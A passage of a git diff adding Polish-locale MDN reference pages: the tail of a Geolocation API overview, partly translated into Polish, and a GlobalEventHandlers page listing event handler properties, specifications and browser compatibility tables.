+<p>The Geolocation API is accessed via a call to {{domxref("Navigator.geolocation", "navigator.geolocation")}}; this will cause the user's browser to ask them for permission to access their location data. If they accept, then the browser will use the best available functionality on the device to access this information (for example, GPS).</p>
+
+<p>The developer can now access this location information in a couple of different ways:</p>
+
+<ul>
+ <li>{{domxref("Geolocation.getCurrentPosition()")}}: Retrieves the device's current location.</li>
+ <li>{{domxref("Geolocation.watchPosition()")}}: Registers a handler function that will be called automatically each time the position of the device changes, returning the updated location.</li>
+</ul>
+
+<p>In both cases, the method call takes up to three arguments:</p>
+
+<ul>
+ <li>A mandatory success callback: If the location retrieval is successful, the callback executes with a {{domxref("GeolocationPosition")}} object as its only parameter, providing access to the location data.</li>
+ <li>An optional error callback: If the location retrieval is unsuccessful, the callback executes with a {{domxref("GeolocationPositionError")}} object as its only parameter, providing access information on what went wrong.</li>
+ <li>An optional {{domxref("PositionOptions")}} object, which provides options for retrieval of the position data.</li>
+</ul>
+
+<p>For further information on Geolocation usage, read <a href="/en-US/docs/Web/API/Geolocation_API/Using_the_Geolocation_API">Using the Geolocation API</a>.</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("Geolocation")}}</dt>
+ <dd>The main class of this API — contains methods to retrieve the user's current position, watch for changes in their position, and clear a previously-set watch.</dd>
+ <dt>{{domxref("GeolocationPosition")}}</dt>
+ <dd>Represents the position of a user. A <code>GeolocationPosition</code> instance is returned by a successful call to one of the methods contained inside {{domxref("Geolocation")}}, inside a success callback, and contains a timestamp plus a {{domxref("GeolocationCoordinates")}} object instance.</dd>
+ <dt>{{domxref("GeolocationCoordinates")}}</dt>
+ <dd>Represents the coordinates of a user's position; a <code>GeolocationCoordinates</code> instance contains latitude, longitude, and other important related information.</dd>
+ <dt>{{domxref("GeolocationPositionError")}}</dt>
+ <dd>A <code>GeolocationPositionError</code> is returned by an unsuccessful call to one of the methods contained inside {{domxref("Geolocation")}}, inside an error callback, and contains an error code and message.</dd>
+ <dt>{{domxref("Navigator.geolocation")}}</dt>
+ <dd>The entry point into the API. Returns a {{domxref("Geolocation")}} object instance, from which all other functionality can be accessed.</dd>
+</dl>
+
+<h2 id="Dictionaries">Dictionaries</h2>
+
+<dl>
+ <dt>{{domxref("PositionOptions")}}</dt>
+ <dd>Represents an object containing options to pass in as a parameter of {{domxref("Geolocation.getCurrentPosition()")}} and {{domxref("Geolocation.watchPosition()")}}.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>{{page("/en-US/docs/Web/API/Geolocation_API/Using_the_Geolocation_API","Examples")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("Geolocation")}}</td>
+ <td>{{Spec2("Geolocation")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<p>{{Compat("api.Geolocation")}}</p>
+
+<h3 id="Dostępność">Dostępność</h3>
+
+<p>Ponieważ Google często zapewnia lokalizację w oparciu o Wi-Fi, waniliowy interfejs API geolokalizacji może być niedostępny w Chinach. Możesz korzystać z usług lokalnych dostawców zewnętrznych, takich jak <a href="http://lbsyun.baidu.com/index.php?title=jspopular/guide/geolocation">Baidu</a> , <a href="https://lbs.amap.com/api/javascript-api/guide/services/geolocation#geolocation">Autonavi</a> lub <a href="http://lbs.qq.com/tool/component-geolocation.html">Tencent</a> . Usługi te wykorzystują adres IP użytkownika i / lub lokalną aplikację do zapewnienia lepszego pozycjonowania.</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Geolocation_API/Using_the_Geolocation_API">Korzystanie z interfejsu API geolokalizacji</a></li>
+ <li><a href="https://www.w3.org/TR/geolocation-API/" rel="external">Interfejs API geolokalizacji na w3.org</a></li>
+ <li><a href="https://hacks.mozilla.org/2013/10/who-moved-my-geolocation/">Kto przeniósł moją geolokalizację? </a>(Hacks blog)</li>
+</ul>
diff --git a/files/pl/web/api/globaleventhandlers/index.html b/files/pl/web/api/globaleventhandlers/index.html
new file mode 100644
index 0000000000..9238474923
--- /dev/null
+++ b/files/pl/web/api/globaleventhandlers/index.html
@@ -0,0 +1,714 @@
+---
+title: GlobalEventHandlers
+slug: Web/API/GlobalEventHandlers
+tags:
+ - API
+ - DOM
+ - GlobalEventHandlers
+ - HTML DOM
+ - Mixin
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+ - events
+translation_of: Web/API/GlobalEventHandlers
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>The <strong><code>GlobalEventHandlers</code></strong> mixin describes the event handlers common to several interfaces like {{domxref("HTMLElement")}}, {{domxref("Document")}}, or {{domxref("Window")}}. Each of these interfaces can, of course, add more event handlers in addition to the ones listed below.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>GlobalEventHandlers</code> is a mixin and not an interface; you can't actually create an object of type <code>GlobalEventHandlers</code>.</p>
+</div>
+
+<h2 id="Properties_2">Properties</h2>
+
+<p><em>This interface doesn't include any properties except for the event handlers listed below.</em></p>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<p>These event handlers are defined on the {{domxref("GlobalEventHandlers")}} mixin, and implemented by {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}}, as well as by {{domxref("WorkerGlobalScope")}} for Web Workers.</p>
+
+<div id="Properties">
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("abort")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationcancel")}} {{Non-standard_inline}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when an {{event("animationcancel")}} event is sent, indicating that a running <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS animation</a> has been canceled.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationend")}} {{Non-standard_inline}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when an {{event("animationend")}} event is sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS animation</a> has stopped playing.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationiteration")}} {{Non-standard_inline}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when an {{event("animationiteration")}} event has been sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS animation</a> has begun playing a new iteration of the animation sequence.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationstart")}} {{Non-standard_inline}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when an {{event("animationstart")}} event is sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS animation</a> has started playing.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onauxclick")}} {{Non-standard_inline}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when an {{event("auxclick")}} event is sent, indicating that a non-primary button has been pressed on an input device (e.g. a middle mouse button).</dd>
+ <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("blur")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>Is an {{domxref("OnErrorEventHandler")}} representing the code to be called when the {{event("error")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("focus")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncancel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("cancel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncanplay")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("canplay")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncanplaythrough")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("canplaythrough")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("change")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("click")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("close")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("contextmenu")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncuechange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("cuechange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dblclick")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondrag")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("drag")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragend")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragend")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragenter")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragenter")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragexit")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragexit")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragleave")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragleave")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragover")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragover")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragstart")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragstart")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondrop")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("drop")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondurationchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("durationchange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onemptied")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("emptied")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onended")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("ended")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ongotpointercapture")}}</dt>
+ <dd>
+ <p>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("gotpointercapture")}} event type is raised.</p>
+ </dd>
+ <dt>{{domxref("GlobalEventHandlers.oninput")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("input")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oninvalid")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("invalid")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keydown")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keypress")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keyup")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("load")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadeddata")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadeddata")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadedmetadata")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadedmetadata")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadend")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadend")}} event is raised (when progress has stopped on the loading of a resource.)</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadstart")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadstart")}} event is raised (when progress has begun on the loading of a resource.)</dd>
+ <dt>{{domxref("GlobalEventHandlers.onlostpointercapture")}}</dt>
+ <dd>
+ <p>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("lostpointercapture")}} event type is raised.</p>
+ </dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousedown")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseenter")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseenter")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseleave")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseleave")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousemove")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseout")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseover")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseup")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousewheel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousewheel")}} event is raised.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.onwheel") }}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("wheel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpause")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pause")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onplay")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("play")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onplaying")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("playing")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerdown")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerdown")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointermove")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointermove")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerup")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerup")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointercancel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointercancel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerover")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerover")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerout")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerout")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerenter")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerevent")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerleave")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerleave")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerlockchange")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerlockchange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerlockerror")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerlockerror")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onprogress")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("progress")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onratechange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("ratechange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("reset")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("scroll")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onseeked")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("seeked")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onseeking")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("seeking")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("select")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectstart")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised, i.e. when the user starts to make a new text selection on a web page.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised, i.e. when the text selected on a web page changes.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onshow")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("show")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsort")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("sort")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onstalled")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("stalled")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("submit")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsuspend")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("suspend")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontimeupdate")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("timeupdate")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onvolumechange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("volumechange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchcancel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("touchcancel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchend")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("touchend")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchmove")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("touchmove")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchstart")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("touchstart")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontransitioncancel")}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when a {{event("transitioncancel")}} event is sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS transition</a> has been cancelled.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontransitionend")}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when a {{event("transitionend")}} event is sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS transition</a> has finished playing.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onwaiting")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("waiting")}} event is raised.</dd>
+</dl>
+</div>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface defines no methods.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Selection API",'', 'Extension to GlobalEventHandlers')}}</td>
+ <td>{{Spec2('Selection API')}}</td>
+ <td>Adds <code>onselectionchange.</code></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Pointer Lock', '#extensions-to-the-document-interface', 'Extension of Document')}}</td>
+ <td>{{Spec2('Pointer Lock')}}</td>
+ <td>Adds <code>onpointerlockchange</code> and <code>onpointerlockerror</code> on {{domxref("Document")}}. It is experimentally implemented on <code>GlobalEventHandlers</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName("HTML WHATWG")}}. Added <code>onsort</code> since the {{SpecName("HTML5 W3C")}} snapshot.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "#globaleventhandlers", "GlobalEventHandlers")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>GlobalEventHandlers</code> (properties where on the target before it).</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Firefox (Gecko)</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>oncanplay</code>, <code>oncanplaythrough</code>, <code>ondurationchange</code>, <code>onemptied</code>, <code>onended</code>, <code>onloadeddata</code>, <code>onloadedmetadata</code>, <code>onloadstart</code>, <code>onpause</code>, <code>onplay</code>, <code>onplaying</code>, <code>onprogress</code>, <code>onratechange</code>, <code>onseeked</code>, <code>onseeking</code>, <code>onstalled</code>, <code>ontimeupdate</code>, <code>onvolumechange</code>, <code>onwaiting</code></td>
+ <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>onsuspend</code></td>
+ <td>{{CompatGeckoDesktop(1.9.2)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>ondrag</code>, <code>ondragend</code>, <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragover</code>, <code>ondragstart</code>, <code>ondrop</code></td>
+ <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>onmouseenter</code>, <code>onmouseleave</code></td>
+ <td>{{CompatGeckoDesktop(10)}}</td>
+ <td>{{CompatChrome(30.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>5.5</td>
+ <td>17</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>ondragexit</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>oncancel</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>onclose</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>oncuechange</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>onmousewheel</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>onsort</code> {{experimental_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>onmozfullscreenchange</code>, <code>onmozfullscreenerror</code> {{non-standard_inline}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+ {{CompatVersionUnknown}} (unprefixed)</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>onpointerlockchange</code>, <code>onpointerlockerror</code></td>
+ <td>{{CompatGeckoDesktop(10)}}<sup>[1]</sup></td>
+ <td>{{CompatVersionUnknown}}<sup>[2] </sup>{{property_prefix("-webkit")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>onpointercancel</code>, <code>onpointerdown</code>, <code>onpointerup</code>, <code>onpointermove</code>, <code>onpointerout</code>, <code>onpointerover</code>, <code>onpointerenter</code>, <code>onpointerleave</code></td>
+ <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+ <td>{{CompatChrome(55.0)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>10</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>onselectionchange</code></td>
+ <td>{{CompatGeckoDesktop(43)}}<sup>[4]</sup></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>ontouchend</code>, <code>ontouchcancel</code>, <code>ontouchmove</code>, <code>ontouchstart</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
